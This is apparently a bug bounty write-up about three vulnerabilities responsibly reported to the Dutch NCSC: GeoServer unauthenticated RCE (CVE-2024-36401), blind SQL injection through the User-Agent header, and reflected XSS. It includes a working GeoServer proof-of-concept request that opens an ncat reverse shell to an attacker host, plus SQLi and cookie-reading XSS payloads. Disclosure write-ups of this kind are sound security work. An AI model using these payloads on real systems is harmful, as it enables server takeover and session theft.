Hacking the Netherlands: A Journey from Recon to Government Swag

It started like most of my testing sessions do — late at night, coffee next to the keyboard, running recon on publicly available assets just to see what’s exposed. No big expectations. Just curiosity and a mindset of “let’s see if something interesting shows up.”
Between 2021 and 2024, I responsibly reported five vulnerabilities affecting Dutch government systems. Out of those five, three were considered impactful enough to earn the official T-shirt swag.
🔍 Recon: Finding the target
My methodology for the Dutch government research was focused on broad reconnaissance across the national infrastructure. I started by mapping out the subdomains under the NCSC-NL scope. Using a combination of automated scanning and manual inspection, I looked for interesting subdomains and saved all live subdomains to build a comprehensive target list. Then, I began systematic testing on each domain to identify potential entry points. It was during one of these deep-recon sessions that I stumbled upon a publicly accessible GeoServer instance.
🐞 Bug #1: Unauthenticated RCE in GeoServer — CVE-2024-36401
🌏 What Is GeoServer?
GeoServer is a widely used open-source server that allows users to publish, edit, and share geospatial data over the web using standard protocols such as WMS, WFS, and WCS. It’s a staple in GIS, government, and academic systems for handling critical spatial datasets.
🔎 Root Cause: XPath Expression Injection
The vulnerability stems from the way attribute names are parsed as XPath expressions. Here’s the technical breakdown:
GeoTools Integration: GeoServer uses the GeoTools library, which internally passes attribute names to the commons-jxpath library.
Unsanitized Evaluation: The jxpath library evaluates those strings as XPath expressions without proper sanitization.
Logic Misconfiguration: This behavior was originally intended only for complex feature types, but due to a logic flaw, it became applicable to all features, including simple ones.
The Chain: This opens a direct path to arbitrary code execution via malicious XPath payloads.
🛠️ Exploitation
PoC Request:
POST /geoserver/wfs HTTP/1.1
Host: [REDACTED]:8080
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 755
<wfs:GetFeature service=\"WFS\" version=\"1.0.0\"
xmlns:topp=\"http://www.openplans.org/topp\"
xmlns:wfs=\"http://www.opengis.net/wfs\"
xmlns:ogc=\"http://www.opengis.net/ogc\"
xmlns:gml=\"http://www.opengis.net/gml\"
xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xsi:schemaLocation=\"http://www.opengis.net/wfs\">
<wfs:Query typeName=\"topp:states\">
<ogc:Filter>
<ogc:BBOX>
<ogc:PropertyName>
exec(java.lang.Runtime.getRuntime(),\"ncat [ATTACKER_IP] 4444 -e /bin/bash\")
</ogc:PropertyName>
<gml:Box srsName=\"http://www.opengis.net/gml/srs/epsg.xml#4326\">
<gml:coordinates>
12.971599 77.594566
</gml:coordinates>
</gml:Box>
</ogc:BBOX>
</ogc:Filter>
</wfs:Query>
</wfs:GetFeature>
🌐 Attack Surface & Capabilities
Unauthenticated attackers can send specially crafted requests to default GeoServer endpoints and gain full control over the server. The vulnerability is reachable via several OGC protocols:
WFS: GetFeature, GetPropertyValue
WMS: GetMap, GetFeatureInfo, GetLegendGraphic
WPS: Execute
⚠️ Potential Consequences
Successful exploitation poses a severe threat to the infrastructure:
Full Remote Code Execution (RCE): Complete system takeover.
Data Breach: Theft or manipulation of sensitive geospatial datasets.
Ransomware: Potential for encryption of critical government systems.
Lateral Movement: Using the server as a pivot point to attack internal networks.
🐞 Bug #2: Boolean-Based Blind SQLi via User-Agent
During a recon session, I identified an endpoint that was processing and logging the User-Agent HTTP header insecurely.
Technical Breakdown:
The application was taking the User-Agent string and inserting it directly into a SQL query for logging or analytics without proper sanitization. I confirmed a boolean-based blind injection by observing the server's response time and content when injecting logical operators.
Payload Example:
User-Agent: Mozilla/5.0 ... (KHTML, like Gecko) Version/3.0.4 Safari/523.10' AND 8074=8074-- KwOG
When the condition was true (8074=8074), the page loaded normally. When false, the response differed significantly, allowing for data extraction byte-by-byte.
🐞 Bug #3: Reflected Cross-Site Scripting (XSS)
A classic but impactful Reflected XSS was discovered on a high-traffic government subdomain.
Technical Breakdown: The vulnerability occurred because a URL parameter was reflected back into the page within an HTML context without adequate encoding. This allowed for the injection of malicious scripts that could steal session cookies or perform actions on behalf of the user.
Vector:
https://[REDACTED].gov.nl/'><img sRc=l oNerrOr=alert(document.cookie) x>
The Reward: Confirmation from NCSC-NL
After reporting these findings, the NCSC-NL team was professional and responsive throughout the triaging process. Once the fixes were deployed and verified, I received the official confirmation and an invitation to claim the swag reward.

A token of appreciation from the Dutch National Cyber Security Centre.